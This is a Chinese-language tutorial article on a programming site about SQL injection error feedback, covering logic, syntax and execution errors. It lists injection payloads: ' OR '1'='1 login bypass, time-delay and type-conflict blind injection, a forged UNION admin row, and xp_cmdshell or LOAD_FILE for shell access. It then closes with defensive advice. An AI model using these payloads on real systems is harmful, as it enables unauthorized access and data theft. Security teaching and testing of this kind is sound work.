首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入錯誤類型深度解析:邏輯錯誤、語法錯誤、執行錯誤與組合利用技巧

     編輯:關於SqlServer

核心觀點:錯誤回饋是注入偵測的「眼睛」

高手重視「錯誤回饋」勝過「正常回饋」,因為差異才是突破口。

三大錯誤類型

1. 邏輯錯誤

SQL 語法正確,但邏輯導致結果集不同。

  • 1=1 vs 1=2:AND 1=2 → 空結果集 → 頁面無資料/跳轉;OR 1=1 → 全表結果 → 可能顯示第一筆非預期資料
  • 應用層處理空結果集方式不同:顯示「無資料」、導向 404、重導首頁
  • Oracle/PostgreSQL 空結果集可能顯示字面字串 NULL

2. 語法錯誤

SQL 剖析失敗,資料庫拋出例外。

  • 單引號未閉合:'、''、' OR '1'='1
  • 型別不匹配:UNION SELECT 'abc' FROM dual 對數值欄位
  • 關鍵字拼寫錯誤
  • 應用層攔截例外:可能顯示通用錯誤頁、空白頁、或資料庫原始錯誤訊息(資訊洩漏)
  • SQL Server/PostgreSQL/Sybase 錯誤訊息極豐富(資料表、欄位、型別),利於推進注入

3. 執行錯誤

  • BENCHMARK(1000000, MD5('x')) (MySQL) → 延遲側通道
  • WAITFOR DELAY '0:0:5' (SQL Server) → 時間型盲注
  • 重度資源消耗導致逾時/拒絕服務

進階技巧:邏輯錯誤 + 語法錯誤組合 (IFF/CASE 構造)

-- 假設支援 IFF(condition, true_val, false_val)
-- 正常:IFF(1=1, 1, 'no') → 回傳數值 1
-- 異常:IFF(1=2, 1, 'no') → 回傳字串 'no' → 型別衝突 → 語法/執行錯誤

-- 注入載荷
id=1 AND 1 = IFF(1=1, 1, 'no')   -- 正常
id=1 AND 1 = IFF(1=2, 1, 'no')   -- 錯誤(型別不匹配)

-- 觀察頁面差異 → 推斷條件真假 → 盲注逐位元提取

同理可用 CASE WHEN、DECODE、IF、IIF (SQL Server 2012+)。

實戰注入流程:從 'OR'=' 到 UNION 提權

  1. 登入繞過:' OR '1'='1 → 結果集非空 → 應用以為驗證通過
  2. 新式驗證:先查用戶再比對密碼 → ' OR '1'='1 失效
    • 對策:UNION SELECT 'admin', 'hashed_pwd', 1 FROM dual WHERE '1'='1 → 構造想要的結果集
  3. 盲注:無回顯 → 利用時間延遲 / 錯誤型 / 布林型側通道
  4. 檔案讀寫:LOAD_FILE (MySQL)、xp_cmdshell (SQL Server) → 取得 Shell

防禦鐵律

  1. 參數化查詢 / 預存程序:永遠不拼接 SQL 字串
  2. 最小權限:應用帳號僅 EXEC 指定預存程序,無直接表權限
  3. 錯誤訊息不回顯:生產環境關閉詳細錯誤,統一友善錯誤頁
  4. WAF/輸入驗證:第二道防線,非替代品
  5. 定期代碼審計/滲透測試
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved